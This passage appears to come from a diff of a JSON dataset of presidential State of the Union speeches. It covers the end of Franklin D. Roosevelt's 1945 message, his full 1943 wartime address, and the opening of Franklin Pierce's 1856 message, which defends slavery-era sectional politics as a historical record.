Oaks, gives\nus reason to hope that future discussions will succeed in developing the\ndemocratic and fully integrated world security system toward which these\npreparatory conversations were directed.We and the other United Nations are going forward, with vigor and\nresolution, in our efforts to create such a system by providing for it\nstrong and flexible institutions of joint and cooperative action.The aroused conscience of humanity will not permit failure in this supreme\nendeavor.We believe that the extraordinary advances in the means of\nintercommunication between peoples over the past generation offer a\npractical method of advancing the mutual understanding upon which peace and\nthe institutions of peace must rest, and it is our policy and purpose to\nuse these great technological achievements for the common advantage of the\nworld.We support the greatest possible freedom of trade and commerce.We Americans have always believed in freedom of opportunity, and equality\nof opportunity remains one of the principal objectives of our national\nlife. What we believe in for individuals, we believe in also for Nations.\nWe are opposed to restrictions, whether by public act or private\narrangement, which distort and impair commerce, transit, and trade.We have house-cleaning of our own to do in this regard. But it is our hope,\nnot only in the interest of our own prosperity but in the interest of the\nprosperity of the world, that trade and commerce and access to materials\nand markets may be freer after this war than ever before in the history of\nthe world.One of the most heartening events of the year in the international field\nhas been the renaissance of the French people and the return of the French\nNation to the ranks of the United Nations. Far from having been crushed by\nthe terror of Nazi domination, the French people have emerged with stronger\nfaith than ever in the destiny of their country and in the soundness of the\ndemocratic ideals to which the French Nation has traditionally contributed\nso greatly.During her liberation, France has given proof of her unceasing\ndetermination to fight the Germans, continuing the heroic efforts of the\nresistance groups under the occupation and of all those Frenchmen\nthroughout the world who refused to surrender after the disaster of 1940.Today, French armies are again on the German frontier, and are again\nfighting shoulder to shoulder with our sons.Since our landings in Africa, we have placed in French hands all the arms\nand material of war which our resources and the military situation\npermitted. And I am glad to say that we are now about to equip large new\nFrench forces with the most modern weapons for combat duty.In addition to the contribution which France can make to our common\nvictory, her liberation likewise means that her great influence will again\nbe available in meeting the problems of peace.We fully recognize France's vital interest in a lasting solution of the\nGerman problem and the contribution which she can make in achieving\ninternational security. Her formal adherence to the declaration by United\nNations a few days ago and the proposal at the Dumbarton Oaks discussions,\nwhereby France would receive one of the five permanent seats in the\nproposed Security Council, demonstrate the extent to which France has\nresumed her proper position of strength and leadership.I am clear in my own mind that, as an essential factor in the maintenance\nof peace in the future, we must have universal military training after this\nwar, and I shall send a special message to the Congress on this subject.An enduring peace cannot be achieved without a strong America--strong in\nthe social and economic sense as well as in the military sense.In the State of the Union message last year I set forth what I considered\nto be an American economic bill of rights.I said then, and I say now, that these economic truths represent a second\nbill of rights under which a new basis of security and prosperity can be\nestablished for all--regardless of station, race, or creed.Of these rights the most fundamental, and one on which the fulfillment of\nthe others in large degree depends, is the \"right to a useful and\nremunerative job in the industries or shops or farms or mines of the\nNation.\" In turn, others of the economic rights of American citizenship,\nsuch as the right to a decent home, to a good education, to good medical\ncare, to social security, to reasonable farm income, will, if fulfilled,\nmake major contributions to achieving adequate levels of employment.The Federal Government must see to it that these rights become\nrealities--with the help of States, municipalities, business, labor, and\nagriculture.We have had full employment during the war. We have had it because the\nGovernment has been ready to buy all the materials of war which the country\ncould produce--and this has amounted to approximately half our present\nproductive capacity.After the war we must maintain full employment with Government performing\nits peacetime functions. This means that we must achieve a level of demand\nand purchasing power by private consumers--farmers, businessmen, workers,\nprofessional men, housewives--which is sufficiently high to replace wartime\nGovernment demands; and it means also that we must greatly increase our\nexport trade above the prewar level.Our policy is, of course, to rely as much as possible on private enterprise\nto provide jobs. But the American people will not accept mass unemployment\nor mere makeshift work. There will be need for the work of everyone willing\nand able to work--and that means close to 60,000,000 jobs.Full employment means not only jobs--but productive jobs. Americans do not\nregard jobs that pay substandard wages as productive jobs.We must make sure that private enterprise works as it is supposed to work--\non the basis of initiative and vigorous competition, without the stifling\npresence of monopolies and cartels.During the war we have guaranteed investment in enterprise essential to the\nwar effort. We should also take appropriate measures in peacetime to secure\nopportunities for new small enterprises and for productive business\nexpansion for which finance would otherwise be unavailable.This necessary expansion of our peacetime productive capacity will require\nnew facilities, new plants, and new equipment.It will require large outlays of money which should be raised through\nnormal investment channels. But while private capital should finance this\nexpansion program, the Government should recognize its responsibility for\nsharing part of any special or abnormal risk of loss attached to such\nfinancing.Our full-employment program requires the extensive development of our\nnatural resources and other useful public works. The undeveloped resources\nof this continent are still vast. Our river-watershed projects will add new\nand fertile territories to the United States. The Tennessee Valley\nAuthority, which was constructed at a cost of $750,000,000--the cost of\nwaging this war for less than 4 days--was a bargain. We have similar\nopportunities in our other great river basins. By harnessing the resources\nof these river basins, as we have in the Tennessee Valley, we shall provide\nthe same kind of stimulus to enterprise as was provided by the Louisiana\nPurchase and the new discoveries in the West during the nineteenth\ncentury.If we are to avail ourselves fully of the benefits of civil aviation, and\nif we are to use the automobiles we can produce, it will be necessary to\nconstruct thousands of airports and to overhaul our entire national highway\nsystem.The provision of a decent home for every family is a national necessity, if\nthis country is to be worthy of its greatness--and that task will itself\ncreate great employment opportunities. Most of our cities need extensive\nrebuilding. Much of our farm plant is in a state of disrepair. To make a\nfrontal attack on the problems of housing and urban reconstruction will\nrequire thoroughgoing cooperation between industry and labor, and the\nFederal, State, and local Governments.An expanded social security program, and adequate health and education\nprograms, must play essential roles in a program designed to support\nindividual productivity and mass purchasing power. I shall communicate\nfurther with the Congress on these subjects at a later date.The millions of productive jobs that a program of this nature could bring\nare jobs in private enterprise. They are jobs based on the expanded demand\nfor the output of our economy for consumption and investment. Through a\nprogram of this character we can maintain a national income high enough to\nprovide for an orderly retirement of the public debt along with reasonable\ntax reduction.Our present tax system geared primarily to war requirements must be revised\nfor peacetime so as to encourage private demand.While no general revision of the tax structure can be made until the war\nends on all fronts, the Congress should be prepared to provide tax\nmodifications at the end of the war in Europe, designed to encourage\ncapital to invest in new enterprises and to provide jobs. As an integral\npart of this program to maintain high employment, we must, after the war is\nover, reduce or eliminate taxes which bear too heavily on consumption.The war will leave deep disturbances in the world economy, in our national\neconomy, in many communities, in many families, and in many individuals. It\nwill require determined effort and responsible action of all of us to find\nour way back to peacetime, and to help others to find their way back to\npeacetime--a peacetime that holds the values of the past and the promise of\nthe future.If we attack our problems with determination we shall succeed. And we must\nsucceed. For freedom and peace cannot exist without security.During the past year the American people, in a national election,\nreasserted their democratic faith.In the course of that campaign various references were made to \"strife\"\nbetween this Administration and the Congress, with the implication, if not\nthe direct assertion, that this Administration and the Congress could never\nwork together harmoniously in the service of the Nation.It cannot be denied that there have been disagreements between the\nlegislative and executive branches--as there have been disagreements during\nthe past century and a half.I think we all realize too that there are some people in this Capital City\nwhose task is in large part to stir up dissension, and to magnify normal\nhealthy disagreements so that they appear to be irreconcilable conflicts.But--I think that the over-all record in this respect is eloquent: The\nGovernment of the United States of America--all branches of it--has a good\nrecord of achievement in this war.The Congress, the Executive, and the Judiciary have worked together for the\ncommon good.I myself want to tell you, the Members of the Senate and of the House of\nRepresentatives, how happy I am in our relationships and friendships. I\nhave not yet had the pleasure of meeting some of the new Members in each\nHouse, but I hope that opportunity will offer itself in the near future.We have a great many problems ahead of us and we must approach them with\nrealism and courage.This new year of 1945 can be the greatest year of achievement in human\nhistory.Nineteen forty-five can see the final ending of the Nazi-Fascist reign of\nterror in Europe.Nineteen forty-five can see the closing in of the forces of retribution\nabout the center of the malignant power of imperialistic Japan.Most important of all--1945 can and must see the substantial beginning of\nthe organization of world peace. This organization must be the fulfillment\nof the promise for which men have fought and died in this war. It must be\nthe justification of all the sacrifices that have been made--of all the\ndreadful misery that this world has endured.We Americans of today, together with our allies, are making history--and I\nhope it will be better history than ever has been made before.We pray that we may be worthy of the unlimited opportunities that God has\ngiven us.", 
+    "name": "Franklin D. Roosevelt"
+}
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+{
+    "date": "January 7, 1943", 
+    "speech": "Mr. Vice President, Mr. Speaker, Members of the Seventy-eighth Congress:This Seventy-eighth Congress assembles in one of the great moments in the\nhistory of the Nation. The past year was perhaps the most crucial for\nmodern civilization; the coming year will be filled with violent conflicts--\nyet with high promise of better things.We must appraise the events of 1942 according to their relative importance;\nwe must exercise a sense of proportion.First in importance in the American scene has been the inspiring proof of\nthe great qualities of our fighting men. They have demonstrated these\nqualities in adversity as well as in victory. As long as our flag flies\nover this Capitol, Americans will honor the soldiers, sailors, and marines\nwho fought our first battles of this war against overwhelming odds the\nheroes, living and dead, of Wake and Bataan and Guadalcanal, of the Java\nSea and Midway and the North Atlantic convoys. Their unconquerable spirit\nwill live forever.By far the largest and most important developments in the whole world-wide\nstrategic picture of 1942 were the events of the long fronts in Russia:\nfirst, the implacable defense of Stalingrad; and, second, the offensives by\nthe Russian armies at various points that started in the latter part of\nNovember and which still roll on with great force and effectiveness.The other major events of the year were: the series of Japanese advances in\nthe Philippines, the East Indies, Malaya, and Burma; the stopping of that\nJapanese advance in the mid-Pacific, the South Pacific, and the Indian\nOceans; the successful defense of the Near East by the British\ncounterattack through Egypt and Libya; the American-British occupation of\nNorth Africa. Of continuing importance in the year 1942 were the unending\nand bitterly contested battles of the convoy routes, and the gradual\npassing of air superiority from the Axis to the United Nations.The Axis powers knew that they must win the war in 1942--or eventually lose\neverything. I do not need to tell you that our enemies did not win the war\nin 1942.In the Pacific area, our most important victory in 1942 was the air and\nnaval battle off Midway Island. That action is historically important\nbecause it secured for our use communication lines stretching thousands of\nmiles in every direction. In placing this emphasis on the Battle of Midway,\nI am not unmindful of other successful actions in the Pacific, in the air\nand on land and afloat--especially those on the Coral Sea and New Guinea\nand in the Solomon Islands. But these actions were essentially defensive.\nThey were part of the delaying strategy that characterized this phase of\nthe war.During this period we inflicted steady losses upon the enemy--great losses\nof Japanese planes and naval vessels, transports and cargo ships. As early\nas one year ago, we set as a primary task in the war of the Pacific a\nday-by-day and week-by-week and month-by-month destruction of more Japanese\nwar materials than Japanese industry could replace. Most certainly, that\ntask has been and is being performed by our fighting ships and planes. And\na large part of this task has been accomplished by the gallant crews of our\nAmerican submarines who strike on the other side of the Pacific at Japanese\nships--right up at the very mouth of the harbor of Yokohama.We know that as each day goes by, Japanese strength in ships and planes is\ngoing down and down, and American strength in ships and planes is going up\nand up. And so I sometimes feel that the eventual outcome can now be put on\na mathematical basis. That will become evident to the Japanese people\nthemselves when we strike at their own home islands, and bomb them\nconstantly from the air.And in the attacks against Japan, we shall be joined with the heroic people\nof China--that great people whose ideals of peace are so closely akin to our\nown. Even today we are flying as much lend-lease material into China as\never traversed the Burma Road, flying it over mountains 17,000 feet high,\nflying blind through sleet and snow. We shall overcome all the formidable\nobstacles, and get the battle equipment into China to shatter the power of\nour common enemy. From this war, China will realize the security, the\nprosperity and the dignity, which Japan has sought so ruthlessly to\ndestroy.The period of our defensive attrition in the Pacific is drawing to a close.\nNow our aim is to force the Japanese to fight. Last year, we stopped them.\nThis year, we intend to advance.Turning now to the European theater of war, during this past year it was\nclear that our first task was to lessen the concentrated pressure on the\nRussian front by compelling Germany to divert part of her manpower and\nequipment to another theater of war. After months of secret planning and\npreparation in the utmost detail, an enormous amphibious expedition was\nembarked for French North Africa from the United States and the United\nKingdom in literally hundreds of ships. It reached its objectives with very\nsmall losses, and has already produced an important effect upon the whole\nsituation of the war. It has opened to attack what Mr. Churchill well\ndescribed as \"the under-belly of the Axis,\" and it has removed the always\ndangerous threat of an Axis attack through West Africa against the South\nAtlantic Ocean and the continent of South America itself.The well-timed and splendidly executed offensive from Egypt by the British\nEighth Army was a part of the same major strategy of the United Nations.Great rains and appalling mud and very limited communications have delayed\nthe final battles of Tunisia. The Axis is reinforcing its strong positions.\nBut I am confident that though the fighting will be tough, when the final\nAllied assault is made, the last vestige of Axis power will be driven from\nthe whole of the south shores of the Mediterranean.Any review of the year 1942 must emphasize the magnitude and the diversity\nof the military activities in which this Nation has become engaged. As I\nspeak to you, approximately one and a half million of our soldiers,\nsailors, marines, and fliers are in service outside of our continental\nlimits, all through the world. Our merchant seamen, in addition, are\ncarrying supplies to them and to our allies over every sea lane.Few Americans realize the amazing growth of our air strength, though I am\nsure our enemy does. Day in and day out our forces are bombing the enemy\nand meeting him in combat on many different fronts in every part of the\nworld. And for those who question the quality of our aircraft and the\nability of our fliers, I point to the fact that, in Africa, we are shooting\ndown two enemy planes to every one we lose, and in the Pacific and the\nSouthwest Pacific we are shooting them down four to one.We pay great tribute--the tribute of the United States of America--to the\nfighting men of Russia and China and Britain and the various members of the\nBritish Commonwealth--the millions of men who through the years of this war\nhave fought our common enemies, and have denied to them the world conquest\nwhich they sought.We pay tribute to the soldiers and fliers and seamen of others of the\nUnited Nations whose countries have been overrun by Axis hordes.As a result of the Allied occupation of North Africa, powerful units of the\nFrench Army and Navy are going into action. They are in action with the\nUnited Nations forces. We welcome them as allies and as friends. They join\nwith those Frenchmen who, since the dark days of June, 1940, have been\nfighting valiantly for the liberation of their stricken country.We pay tribute to the fighting leaders of our allies, to Winston Churchill,\nto Joseph Stalin, and to the Generalissimo Chiang Kai-shek. Yes, there is a\nvery great unanimity between the leaders of the United Nations. This unity\nis effective in planning and carrying out the major strategy of this war\nand in building up and in maintaining the lines of supplies.I cannot prophesy. I cannot tell you when or where the United Nations are\ngoing to strike next in Europe. But we are going to strike--and strike\nhard. I cannot tell you whether we are going to hit them in Norway, or\nthrough the Low Countries, or in France, or through Sardinia or Sicily, or\nthrough the Balkans, or through Poland--or at several points\nsimultaneously. But I can tell you that no matter where and when we strike\nby land, we and the British and the Russians will hit them from the air\nheavily and relentlessly. Day in and day out we shall heap tons upon tons\nof high explosives on their war factories and utilities and seaports.Hitler and Mussolini will understand now the enormity of their\nmiscalculations--that the Nazis would always have the advantage of superior\nair power as they did when they bombed Warsaw, and Rotterdam, and London\nand Coventry. That superiority has gone--forever.Yes, the Nazis and the Fascists have asked for it--and they are going to get\nit.Our forward progress in this war has depended upon our progress on the\nproduction front.There has been criticism of the management and conduct of our war\nproduction. Much of this self-criticism has had a healthy effect. It has\nspurred us on. It has reflected a normal American impatience to get on with\nthe job. We are the kind of people who are never quite satisfied with\nanything short of miracles.But there has been some criticism based on guesswork and even on malicious\nfalsification of fact. Such criticism creates doubts and creates fears, and\nweakens our total effort.I do not wish to suggest that we should be completely satisfied with our\nproduction progress today, or next month, or ever. But I can report to you\nwith genuine pride on what has been accomplished in 1942.A year ago we set certain production goals for 1942 and for 1943. Some\npeople, including some experts, thought that we had pulled some big figures\nout of a hat just to frighten the Axis. But we had confidence in the\nability of our people to establish new records. And that confidence has\nbeen justified.Of course, we realized that some production objectives would have to be\nchanged--some of them adjusted upward, and others downward; some items\nwould be taken out of the program altogether, and others added. This was\ninevitable as we gained battle experience, and as technological\nimprovements were made.Our 1942 airplane production and tank production fell short,\nnumerically--stress the word numerically of the goals set a year ago.\nNevertheless, we have plenty of reason to be proud of our record for 1942.\nWe produced 48,000 military planes--more than the airplane production of\nGermany, Italy, and Japan put together. Last month, in December, we\nproduced 5,500 military planes and the rate is rapidly rising. Furthermore,\nwe must remember that as each month passes by, the averages of our types\nweigh more, take more man-hours to make, and have more striking power.In tank production, we revised our schedule--and for good and sufficient\nreasons. As a result of hard experience in battle, we have diverted a\nportion of our tank-producing capacity to a stepped-up production of new,\ndeadly field weapons, especially self-propelled artillery.Here are some other production figures:In 1942, we produced 56,000 combat vehicles, such as tanks and\nself-propelled artillery.In 1942, we produced 670,000 machine guns, six times greater than our\nproduction in 1941 and three times greater than our total production during\nthe year and a half of our participation in the first World War.We produced 21,000 anti-tank guns, six times greater than our 1941\nproduction.We produced ten and a quarter billion rounds of small-arms ammunition, five\ntimes greater than our 1941 production and three times greater than our\ntotal production in the first World War.We produced 181 million rounds of artillery ammunition, twelve times\ngreater than our 1941 production and ten times greater than our total\nproduction in the first World War.I think the arsenal of democracy is making good.These facts and figures that I have given will give no great aid and\ncomfort to the enemy. On the contrary, I can imagine that they will give\nhim considerable discomfort. I suspect that Hitler and Tojo will find it\ndifficult to explain to the German and Japanese people just why it is that\n\"decadent, inefficient democracy\" can produce such phenomenal quantities of\nweapons and munitions--and fighting men.We have given the lie to certain misconceptions--which is an extremely\npolite word--especially the one which holds that the various blocs or\ngroups within a free country cannot forego their political and economic\ndifferences in time of crisis and work together toward a common goal.While we have been achieving this miracle of production, during the past\nyear our armed forces have grown from a little over 2,000,000 to 7,000,000.\nIn other words, we have withdrawn from the labor force and the farms some\n5,000,000 of our younger workers. And in spite of this, our farmers have\ncontributed their share to the common effort by producing the greatest\nquantity of food ever made available during a single year in all our\nhistory.I wonder is there any person among us so simple as to believe that all this\ncould have been done without creating some dislocations in our normal\nnational life, some inconveniences, and even some hardships?Who can have hoped to have done this without burdensome Government\nregulations which are a nuisance to everyone--including those who have the\nthankless task of administering them?We all know that there have been mistakes--mistakes due to the inevitable\nprocess of trial and error inherent in doing big things for the first time.\nWe all know that there have been too many complicated forms and\nquestionnaires. I know about that. I have had to fill some of them out\nmyself.But we are determined to see to it that our supplies of food and other\nessential civilian goods are distributed on a fair and just basis--to rich\nand poor, management and labor, farmer and city dweller alike. We are\ndetermined to keep the cost of living at a stable level. All this has\nrequired much information. These forms and questionnaires represent an\nhonest and sincere attempt by honest and sincere officials to obtain this\ninformation.We have learned by the mistakes that we have made.Our experience will enable us during the coming year to improve the\nnecessary mechanisms of wartime economic controls, and to simplify\nadministrative procedures. But we do not intend to leave things so lax that\nloopholes will be left for cheaters, for chiselers, or for the manipulators\nof the black market.Of course, there have been disturbances and inconveniences--and even\nhardships. And there will be many, many more before we finally win. Yes,\n1943 will not be an easy year for us on the home front. We shall feel in\nmany ways in our daily lives the sharp pinch of total war.Fortunately, there are only a few Americans who place appetite above\npatriotism. The overwhelming majority realize that the food we send abroad\nis for essential military purposes, for our own and Allied fighting forces,\nand for necessary help in areas that we occupy.We Americans intend to do this great job together. In our common labors we\nmust build and fortify the very foundation of national unity--confidence in\none another.It is often amusing, and it is sometimes politically profitable, to picture\nthe City of Washington as a madhouse, with the Congress and the\nAdministration disrupted with confusion and indecision and general\nincompetence.However--what matters most in war is results. And the one pertinent fact is\nthat after only a few years of preparation and only one year of warfare, we\nare able to engage, spiritually as well as physically, in the total waging\nof a total war.Washington may be a madhouse--but only in the sense that it is the Capital\nCity of a Nation which is fighting mad. And I think that Berlin and Rome\nand Tokyo, which had such contempt for the obsolete methods of democracy,\nwould now gladly use all they could get of that same brand of madness.And we must not forget that our achievements in production have been\nrelatively no greater than those of the Russians and the British and the\nChinese who have developed their own war industries under the incredible\ndifficulties of battle conditions. They have had to continue work through\nbombings and blackouts. And they have never quit.We Americans are in good, brave company in this war, and we are playing our\nown, honorable part in the vast common effort.As spokesmen for the United States Government, you and I take off our hats\nto those responsible for our American production--to the owners, managers,\nand supervisors, to the draftsmen and the engineers, and to the workers--\nmen and women--in factories and arsenals and shipyards and mines and mills\nand forests--and railroads and on highways.We take off our hats to the farmers who have faced an unprecedented task of\nfeeding not only a great Nation but a great part of the world.We take off our hats to all the loyal, anonymous, untiring men and women\nwho have worked in private employment and in Government and who have\nendured rationing and other stringencies with good humor and good will.Yes, we take off our hats to all Americans who have contributed so\nmagnificently to our common cause.I have sought to emphasize a sense of proportion in this review of the\nevents of the war and the needs of the war.We should never forget the things we are fighting for. But, at this\ncritical period of the war, we should confine ourselves to the larger\nobjectives and not get bogged down in argument over methods and details.We, and all the United Nations, want a decent peace and a durable peace. In\nthe years between the end of the first World War and the beginning of the\nsecond World War, we were not living under a decent or a durable peace.I have reason to know that our boys at the front are concerned with two\nbroad aims beyond the winning of the war; and their thinking and their\nopinion coincide with what most Americans here back home are mulling over.\nThey know, and we know, that it would be inconceivable--it would, indeed, be\nsacrilegious--if this Nation and the world did not attain some real,\nlasting good out of all these efforts and sufferings and bloodshed and\ndeath.The men in our armed forces want a lasting peace, and, equally, they want\npermanent employment for themselves, their families, and their neighbors\nwhen they are mustered out at the end of the war.Two years ago I spoke in my Annual Message of four freedoms. The blessings\nof two of them--freedom of speech and freedom of religion--are an essential\npart of the very life of this Nation; and we hope that these blessings will\nbe granted to all men everywhere.'The people at home, and the people at the front, are wondering a little\nabout the third freedom--freedom from want. To them it means that when they\nare mustered out, when war production is converted to the economy of peace,\nthey will have the right to expect full employment--full employment for\nthemselves and for all able-bodied men and women in America who want to\nwork.They expect the opportunity to work, to run their farms, their stores, to\nearn decent wages. They are eager to face the risks inherent in our system\nof free enterprise.They do not want a postwar America which suffers from undernourishment or\nslums--or the dole. They want no get-rich-quick era of bogus \"prosperity\"\nwhich will end for them in selling apples on a street corner, as happened\nafter the bursting of the boom in 1929.When you talk with our young men and our young women, you will find they\nwant to work for themselves and for their families; they consider that they\nhave the right to work; and they know that after the last war their fathers\ndid not gain that right.When you talk with our young men and women, you will find that with the\nopportunity for employment they want assurance against the evils of all\nmajor economic hazards--assurance that will extend from the cradle to the\ngrave. And this great Government can and must provide this assurance.I have been told that this is no time to speak of a better America after\nthe war. I am told it is a grave error on my part.I dissent.And if the security of the individual citizen, or the family, should become\na subject of national debate, the country knows where I stand.I say this now to this Seventy-eighth Congress, because it is wholly\npossible that freedom from want--the right of employment, the right of\nassurance against life's hazards--will loom very large as a task of America\nduring the coming two years.I trust it will not be regarded as an issue--but rather as a task for all of\nus to study sympathetically, to work out with a constant regard for the\nattainment of the objective, with fairness to all and with injustice to\nnone.In this war of survival we must keep before our minds not only the evil\nthings we fight against but the good things we are fighting for. We fight\nto retain a great past--and we fight to gain a greater future.Let us remember, too, that economic safety for the America of the future is\nthreatened unless a greater economic stability comes to the rest of the\nworld. We cannot make America an island in either a military or an economic\nsense. Hitlerism, like any other form of crime or disease, can grow from\nthe evil seeds of economic as well as military feudalism.Victory in this war is the first and greatest goal before us. Victory in\nthe peace is the next. That means striving toward the enlargement of the\nsecurity of man here and throughout the world--and, finally, striving for\nthe fourth freedom--freedom from fear.It is of little account for any of us to talk of essential human needs, of\nattaining security, if we run the risk of another World War in ten or\ntwenty or fifty years. That is just plain common sense. Wars grow in size,\nin death and destruction, and in the inevitability of engulfing all\nNations, in inverse ratio to the shrinking size of the world as a result of\nthe conquest of the air. I shudder to think of what will happen to\nhumanity, including ourselves, if this war ends in an inconclusive peace,\nand another war breaks out when the babies of today have grown to fighting\nage.Every normal American prays that neither he nor his sons nor his grandsons\nwill be compelled to go through this horror again.Undoubtedly a few Americans, even now, think that this Nation can end this\nwar comfortably and then climb back into an American hole and pull the hole\nin after them.But we have learned that we can never dig a hole so deep that it would be\nsafe against predatory animals. We have also learned that if we do not pull\nthe fangs of the predatory animals of this world, they will multiply and\ngrow in strength--and they will be at our throats again once more in a\nshort generation.Most Americans realize more clearly than ever before that modern war\nequipment in the hands of aggressor Nations can bring danger overnight to\nour own national existence or to that of any other Nation--or island--or\ncontinent.It is clear to us that if Germany and Italy and Japan--or any one of them--\nremain armed at the end of this war, or are permitted to rearm, they will\nagain, and inevitably, embark upon an ambitious career of world conquest.\nThey must be disarmed and kept disarmed, and they must abandon the\nphilosophy, and the teaching of that philosophy, which has brought so much\nsuffering to the world.After the first World War we tried to achieve a formula for permanent\npeace, based on a magnificent idealism. We failed. But, by our failure, we\nhave learned that we cannot maintain peace at this stage of human\ndevelopment by good intentions alone.Today the United Nations are the mightiest military coalition in all\nhistory. They represent an overwhelming majority of the population of the\nworld. Bound together in solemn agreement that they themselves will not\ncommit acts of aggression or conquest against any of their neighbors, the\nUnited Nations can and must remain united for the maintenance of peace by\npreventing any attempt to rearm in Germany, in Japan, in Italy, or in any\nother Nation which seeks to violate the Tenth Commandment--\"Thou shalt not\ncovet.\"There are cynics, there are skeptics who say it cannot be done. The\nAmerican people and all the freedom-loving peoples of this earth are now\ndemanding that it must be done. And the will of these people shall\nprevail.The very philosophy of the Axis powers is based on a profound contempt for\nthe human race. If, in the formation of our future policy, we were guided\nby the same cynical contempt, then we should be surrendering to the\nphilosophy of our enemies, and our victory would turn to defeat.The issue of this war is the basic issue between those who believe in\nmankind and those who do not--the ancient issue between those who put their\nfaith in the people and those who put their faith in dictators and tyrants.\nThere have always been those who did not believe in the people, who\nattempted to block their forward movement across history, to force them\nback to servility and suffering and silence.The people have now gathered their strength. They are moving forward in\ntheir might and power--and no force, no combination of forces, no trickery,\ndeceit, or violence, can stop them now. They see before them the hope of\nthe world--a decent, secure, peaceful life for men everywhere.I do not prophesy when this war will end.But I do believe that this year of 1943 will give to the United Nations a\nvery substantial advance along the roads that lead to Berlin and Rome and\nTokyo.I tell you it is within the realm of possibility that this Seventy-eighth\nCongress may have the historic privilege of helping greatly to save the\nworld from future fear.Therefore, let us all have confidence, let us redouble our efforts.A tremendous, costly, long-enduring task in peace as well as in war is\nstill ahead of us.But, as we face that continuing task, we may know that the state of this\nNation is good--the heart of this Nation is sound--the spirit of this Nation\nis strong--the faith of this Nation is eternal.", 
+    "name": "Franklin D. Roosevelt"
+}
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+{
+    "date": "December 2, 1856", 
+    "speech": "Fellow-Citizens of the Senate and of the House of Representatives:The Constitution requires that the President shall from time to time not\nonly recommend to the consideration of Congress such measures as he may\njudge necessary and expedient, but also that he shall give information to\nthem of the state of the Union. To do this fully involves exposition of all\nmatters in the actual condition of the country, domestic or foreign, which\nessentially concern the general welfare. While performing his\nconstitutional duty in this respect, the President does not speak merely to\nexpress personal convictions, but as the executive minister of the\nGovernment, enabled by his position and called upon by his official\nobligations to scan with an impartial eye the interests of the whole and of\nevery part of the United States.Of the condition of the domestic interests of the Union--its agriculture,\nmines, manufactures, navigation, and commerce--it is necessary only to say\nthat the internal prosperity of the country, its continuous and steady\nadvancement in wealth and population and in private as well as public\nwell-being, attest the wisdom of our institutions and the predominant\nspirit of intelligence and patriotism which, notwithstanding occasional\nirregularities of opinion or action resulting from popular freedom, has\ndistinguished and characterized the people of America. In the brief\ninterval between the termination of the last and the commencement of the\npresent session of Congress the public mind has been occupied with the care\nof selecting for another constitutional term the President and\nVice-President of the United States.The determination of the persons who are of right, or contingently, to\npreside over the administration of the Government is under our system\ncommitted to the States and the people. We appeal to them, by their voice\npronounced in the forms of law, to call whomsoever they will to the high\npost of Chief Magistrate.And thus it is that as the Senators represent the respective States of the\nUnion and the members of the House of Representatives the several\nconstituencies of each State, so the President represents the aggregate\npopulation of the United States. Their election of him is the explicit and\nsolemn act of the sole sovereign authority of the Union.It is impossible to misapprehend the great principles which by their recent\npolitical action the people of the United States have sanctioned and\nannounced.They have asserted the constitutional equality of each and all of the\nStates of the Union as States: they have affirmed the constitutional\nequality of each and all of the citizens of the United States as citizens,\nwhatever their religion, wherever their birth or their residence; they have\nmaintained the inviolability of the constitutional rights of the different\nsections of the Union, and they have proclaimed their devoted and\nunalterable attachment to the Union and to the Constitution, as objects of\ninterest superior to all subjects of local or sectional controversy, as the\nsafeguard of the rights of all, as the spirit and the essence of the\nliberty, peace, and greatness of the Republic. In doing this they have at\nthe same time emphatically condemned the idea of organizing in these United\nStates mere geographical parties, of marshaling in hostile array toward\neach other the different parts of the country, North or South, East or\nWest.Schemes of this nature, fraught with incalculable mischief, and which the\nconsiderate sense of the people has rejected, could have had countenance in\nno part of the country had they not been disguised by suggestions plausible\nin appearance, acting upon an excited state of the public mind, induced by\ncauses temporary in their character and, it is to be hoped, transient in\ntheir influence.Perfect liberty of association for political objects and the widest scope\nof discussion are the received and ordinary conditions of government in our\ncountry. Our institutions, framed in the spirit of confidence in the\nintelligence and integrity of the people, do not forbid citizens, either\nindividually or associated together, to attack by writing, speech, or any\nother methods short of physical force the Constitution and the very\nexistence of the Union. Under the shelter of this great liberty, and\nprotected by the laws and usages of the Government they assail,\nassociations have been formed in some of the States of individuals who,\npretending to seek only to prevent the spread of the institution of slavery\ninto the present or future inchoate States of the Union, are really\ninflamed with desire to change the domestic institutions of existing\nStates. To accomplish their objects they dedicate themselves to the odious\ntask of depreciating the government organization which stands in their way\nand of calumniating with indiscriminate invective not only the citizens of\nparticular States with whose laws they find fault, but all others of their\nfellow citizens throughout the country who do not participate with them in\ntheir assaults upon the Constitution, framed and adopted by our fathers,\nand claiming for the privileges it has secured and the blessings it has\nconferred the steady support and grateful reverence of their children. They\nseek an object which they well know to be a revolutionary one. They are\nperfectly aware that the change in the relative condition of the white and\nblack races in the slaveholding States which they would promote is beyond\ntheir lawful authority; that to them it is a foreign object; that it can\nnot be effected by any peaceful instrumentality of theirs; that for them\nand the States of which they are citizens the only path to its\naccomplishment is through burning cities, and ravaged fields, and\nslaughtered populations, and all there is most terrible in foreign\ncomplicated with civil and servile war; and that the first step in the\nattempt is the forcible disruption of a country embracing in its broad\nbosom a degree of liberty and an amount of individual and public prosperity\nto which there is no parallel in history, and substituting in its place\nhostile governments, driven at once and inevitably into mutual devastation\nand fratricidal carnage, transforming the now peaceful and felicitous\nbrotherhood into a vast permanent camp of armed men like the rival\nmonarchies of Europe and Asia. Well knowing that such, and such only, are\nthe means and the consequences of their plans and purposes, they endeavor\nto prepare the people of the United States for civil war by doing\neverything in their power to deprive the Constitution and the laws of moral\nauthority and to undermine the fabric of the Union by appeals to passion\nand sectional prejudice, by indoctrinating its people with reciprocal\nhatred, and by educating them to stand face to face as enemies, rather than\nshoulder to shoulder as friends.It is by the agency of such unwarrantable interference, foreign and\ndomestic, that the minds of many otherwise good citizens have been so\ninflamed into the passionate condemnation of the domestic institutions of\nthe Southern States as at length to pass insensibly to almost equally\npassion late hostility toward their fellow-citizens of those States, and\nthus finally to fall into temporary fellowship with the avowed and active\nenemies of the Constitution. Ardently attached to liberty in the abstract,\nthey do not stop to consider practically how the objects they would attain\ncan be accomplished, nor to reflect that, even if the evil were as great as\nthey deem it, they have no remedy to apply, and that it can be only\naggravated by their violence and unconstitutional action. A question which\nis one of the most difficult of all the problems of social institution,\npolitical economy, and statesmanship they treat with unreasoning\nintemperance of thought and language. Extremes beget extremes. Violent\nattack from the North finds its inevitable consequence in the growth of a\nspirit of angry defiance at the South. Thus in the progress of events we\nhad reached that consummation, which the voice of the people has now so\npointedly rebuked, of the attempt of a portion of the States, by a\nsectional organization and movement, to usurp the control of the Government\nof the United States.I confidently believe that the great body of those who inconsiderately took\nthis fatal step 